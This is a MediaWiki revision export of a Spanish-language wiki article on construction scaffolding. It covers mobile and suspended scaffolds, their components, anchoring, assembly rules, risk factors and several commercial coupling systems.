      <parentid>430109</parentid>
      <timestamp>2026-08-02T11:37:04Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Actualización</comment>
      <origin>430110</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4400" sha1="chtrefgkcbdjaf3wyr3c3ghs6dj3i62" xml:space="preserve">
== Andamios móviles ==

*Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
*La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
*Los husillos se sustituyen por unos fijos de un metro.
*Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
*La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)

== Andamios colgados ==

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


=== Componentes ===

*Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
*Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
*Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
*Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


=== Dispositivos de suspensión ===

*Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

*Lanza: Viguetas situadas en voladizo sobre el borde de las azoteas. Están estabilizadas bien por un contrapeso o por un anclaje al forjado.

*Pescante: elemento situado en el tejado del edificio, a modo de grúa.


=== Factores de riesgo ===

*Caída de la plataforma de trabajo: debida a sobrecarga, inestabilidad, resistencia insuficiente, mal mantenimiento o fallo del dispositivo anti-caídas.
*Rotura de la plataforma: por resistencia insuficiente (sobrecarga)
*Caída de personas: Montaje sin las debidas precauciones, ineficacia de las barandillas, desplazamiento del andamio, colisión con otros objetos.
*Caídas al mismo nivel: acumulación de objetos.


=== Anclajes ===

*A forjado: mediante tornillos pasantes fijados a la cara inferior del forjado y pletinas que distribuyan los esfuerzos al menos entre tres viguetas.
*Contrapesos: han de ser reglamentarios y estar colocados sobre una base metálica a la que se ancla la cola del pescante. Máximo, 500 kilos por pescante.


=== Normas de montaje ===

*Asegurarse de la estabilidad y resistencia de las superficies de apoyo.
*Separar el extremo del pescante entre 16 y 90 cm de la fachada para que la plataforma quede entre 10 y 45cm.
*Anclar los cables de trabajo y de seguridad en las argollas correspondientes de la pluma.
*Los contrapesos empleados deben ser de construcción sólida, con un coeficiente de seguridad a momento de 3.
*Los tornos o aparatos portátiles pueden ser a tambor, de adherencia o de mordazas. 
*Calcular la separación entre pescantes según las solicitaciones y teniendo en cuenta que los cables han de bajar perfectamente paralelos y verticales (si no se coloca bien, el conjunto puede volcar por los esfuerzos horizontales generados)

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

*'''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

*'''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

*'''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

*'''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.

{{AutoCat}}</text>
      <sha1>chtrefgkcbdjaf3wyr3c3ghs6dj3i62</sha1>
    </revision>
  </page>
</mediawiki>